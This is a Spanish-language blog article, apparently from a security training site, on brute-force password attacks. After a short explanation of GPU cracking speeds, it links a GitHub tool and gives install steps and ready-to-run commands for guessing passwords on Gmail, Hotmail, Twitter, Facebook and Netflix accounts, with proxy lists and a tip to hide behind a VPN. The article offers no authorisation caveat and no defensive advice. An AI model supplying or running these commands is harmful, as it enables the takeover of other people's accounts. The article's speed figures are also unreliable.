Artículo · Programación

Ataques de fuerza bruta a Gmail, Hotmail, Twitter, Facebook & Netflix

Omar Jacobo Muñoz VelizOmar Jacobo Muñoz Veliz 2 min de lectura
Ataques de fuerza bruta a Gmail, Hotmail, Twitter, Facebook & Netflix

Los ataques de fuerza bruta son simples y confiables. Los atacantes dejan que una computadora haga el trabajo; por ejemplo, prueban diferentes combinaciones de nombres de usuario y contraseñas, hasta que encuentran una que funciona. Se estima que el 5% de los incidentes confirmados de violación de datos(data breaches) en 2017 se debieron a ataques de fuerza bruta.

 

Ataques de fuerza bruta por GPU


La combinación de la CPU y la unidad de procesamiento de gráficos (GPU) acelera la potencia de cómputo al agregar los miles de núcleos de cómputo en la GPU al procesamiento para permitir que el sistema maneje múltiples tareas simultáneamente. El procesamiento de GPU se usa para aplicaciones de análisis, ingeniería y otras aplicaciones de computación intensiva y se puede descifrar contraseñas 250 veces más rápido que una CPU sola.

 

Para ponerlo en perspectiva, una contraseña de seis caracteres que incluye números tiene aproximadamente 2 mil millones de combinaciones posibles. Descifrarlo con una CPU potente que intenta 30 contraseñas por segundo lleva más de dos años. Al agregar una única y potente tarjeta GPU, la misma computadora puede probar 7,100 contraseñas por segundo y descifrar la contraseña en 3.5 días.

 

Ataques de fuerza bruta por el script Brute_Force

 

Este script permite realizar una serie de ataques a diferentes servicios como Bacebook, twitter hasta llegar a servicios como Netflix, este script lo podemos encontrar en su repositorio de GitHub desde el siguiente enlace brute_force

 

https://github.com/Matrix07ksa/Brute_Force

 

alt text

Uso de la aplicación

 

alt text

Ataques con fuerza bruta

 

Instalador

 

pip install proxylist

pip install mechanize

 

Uso

 

BruteForce Gmail Attack

 

python3 Brute_Force.py -g Account@gmail.com -l File_list

python3 Brute_Force.py -g Account@gmail.com -p Password_Single
 

BruteForce Hotmail Attack

 
python3 Brute_Force.py -t Account@hotmail.com -l File_list

python3 Brute_Force.py -t Account@hotmail.com -p Password_Single

 

BruteForce Twitter Attack

 

python3 Brute_Force.py -T Account_Twitter -l File_list
python3 Brute_Force.py -T Account_Twitter -l File_list -X proxy-list.txt
 

BruteForce Facebook Attack

 
python3 Brute_Force.py -f Account_facebook -l File_list
python3 Brute_Force.py -f Account_facebook -l File_list -X proxy-list.txt

 

BruteForce Netflix Attack

 

 

يفضل تشغيل VPN
Start On Vpn
python3 Brute_Force.py -n Account_Netflix -l File_list
python3 Brute_Force.py -n Account_Netflix -l File_list -X proxy-list.txt


وترقبووو المزيد 

¿Quieres aprender estas técnicas en profundidad?

Continúa tu ruta con Programación Scripting Python.

Omar Jacobo Muñoz Veliz

Escrito por

Omar Jacobo Muñoz Veliz

Content at Backtrack Academy

Content Dev en backtrackacademy, auditor de seguridad informatica y desarrollador de software.

Sigue leyendo

Automatización de seguridad en API's con Astra
Programación

Automatización de seguridad en API's con Astra

Omar Jacobo Muñoz Veliz

Las pruebas de penetración API REST son complejas debido a los continuos cambios en las API existentes y las API recién agregadas. Astra puede ser utilizado por ingenieros o desarrolladores de seguridad como parte integral de su proceso, para que puedan detectar y parchear vulnerabilidades al principio del ciclo de desarrollo. Astra puede detectar y probar automáticamente el inicio de sesión y el cierre de sesión (API de autenticación), por lo que es fácil para cualquiera integrar esto en la tubería de CICD. Astra puede tomar la recopilación de API como entrada, por lo que también se puede usar para probar apis en modo independiente.

Red Team y Penetration Testing
Programación

Red Team y Penetration Testing

user-1609041409

Una evaluación en Red Team y Penetration Testing son similares en varias formas pero Red Team es más dirigido a un objetivo que a buscar vulnerabilidades. Un Equipo de Red Team tratara de probar las defensas de una organización para ver su tiempo de detección y su tiempo a responder a las detecciones.

Printer Exploitation Toolkit
Programación

Printer Exploitation Toolkit

José Moreno

Han pasado casi 3 años desde que el hacker conocido como @0xGiraffe revoluciona las redes con sus mensajes en apoyo del famoso youtuber PewDiePie y aún a pesar de ello al realizar una simple búsqueda en shodan encontramos expuestos aproximadamente 26,000 impresoras expuestas, sin ningún tipo de autenticación o seguridad alguna.